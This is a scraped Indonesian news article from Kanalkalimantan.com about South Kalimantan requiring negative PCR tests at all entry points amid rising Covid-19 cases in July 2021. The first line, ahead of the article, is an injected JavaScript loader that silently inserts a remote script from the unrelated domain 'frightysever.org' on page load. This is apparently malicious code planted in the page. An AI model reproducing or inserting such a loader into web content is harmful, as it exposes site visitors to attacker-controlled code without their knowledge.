(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Pemprov Kalsel mulai melakukan pengetatan penjagaan pintu masuk. Langkah ini dilakukan menyusul tingginya kasus Covid-19 di provinsi tetangga seperti Kalimantan Tengah (Kalteng) dan Kalimantan Timur (Kaltim).
Di sisi lain, kondisi di sejumlah rumah sakit di Kalsel yang saat ini beberapa di antaranya sudah penuh, memerlukan kebijakan ekstra Pemprov Kalsel. Langkah inilah yang lantas dilakukan Pj Gubernur Kalsel Safrizal ZA yang mewajibkan setiap orang yang akan memasuki perbatasan Kalsel wajib untuk menunjukkan hasil negatif pemeriksaan polymerase chain reaction (PCR).
“Ketentuan ini berlaku di seluruh jalur masuk baik udara, laut, maupun darat,” tegas Safrizalusai rapat koordinasi penangan Covid-19 di Mapolda Kalsel, Rabu (7/7/2021).
Ia mengatakan, akan segera menerbitkan surat edaran (SE) terkait kebijakan tersebut sebagai pedoman pelaksanaan di lapangan.
Baca juga: Wasekjen PAN Rosaline Minta Ada RS Khusus Pejabat, Kamu Setuju?
“Ini upaya kita untuk menahan, membatasi perjalanan orang ke Kalsel, dan provinsi di sekitar kita juga sudah memberlakukan hal yang sama,” tegasnya.
Sampai saat ini, pihaknya masih tetap memberlakukan PPKM Mikro untuk membendung tingginya Covid-19. Ini dikarenakan 9 kabupaten masuk kategori zona orange dan 4 daerah lainnya berada di zona kuning.
“Setiap kegiatan dilakukan pembatasan-pembatasan sampai 50 persen, dan dilaporkan kepada Satgas Covid-19 guna memastikan memenuhi standar protokol kesehatan,” katanya.
Di sisi lain, Kapolda Kalsel Irjen Pol Rikwanto menegaskan segera melakukan persiapan pengetatan pintu masuk di Kalsel, baik lewat jalur udara, laut dan darat setelah terbit SE Gubernur.
“Dua provinsi tetangga, Kalimantan Tengah dan Kalimantan Timur telah memberlakukan hal yang sama. Ini lantaran kasus harian Covid-19 di dua provinsi tergolong cukup tinggi,” katanya.
Kapolda juga meminta setiap stake holder dikoordinasikan untuk melaporkan dan memgoptimalkan kesiapannya masing-masing jika lonjakan kasus Covid-19 juga turut terjadi di Kalsel.
Antara lain aspek kesiapan rumah sakit, tenaga kesehatan, alat kesehatan, obat-obatan hingga aspek penunjang lainnya termasuk stok pasokan oksigen.
“Kita evaluasi komponen-komponen yang ada. Kalau andai kata terjadi peningkatan kasus masif, kita siap. Tapi tentu kita harapkan ini tidak terjadi,” beber Kapolda.(Kanalkalimantan.com/kk)
Reporter: kk
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More
KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More
This website uses cookies.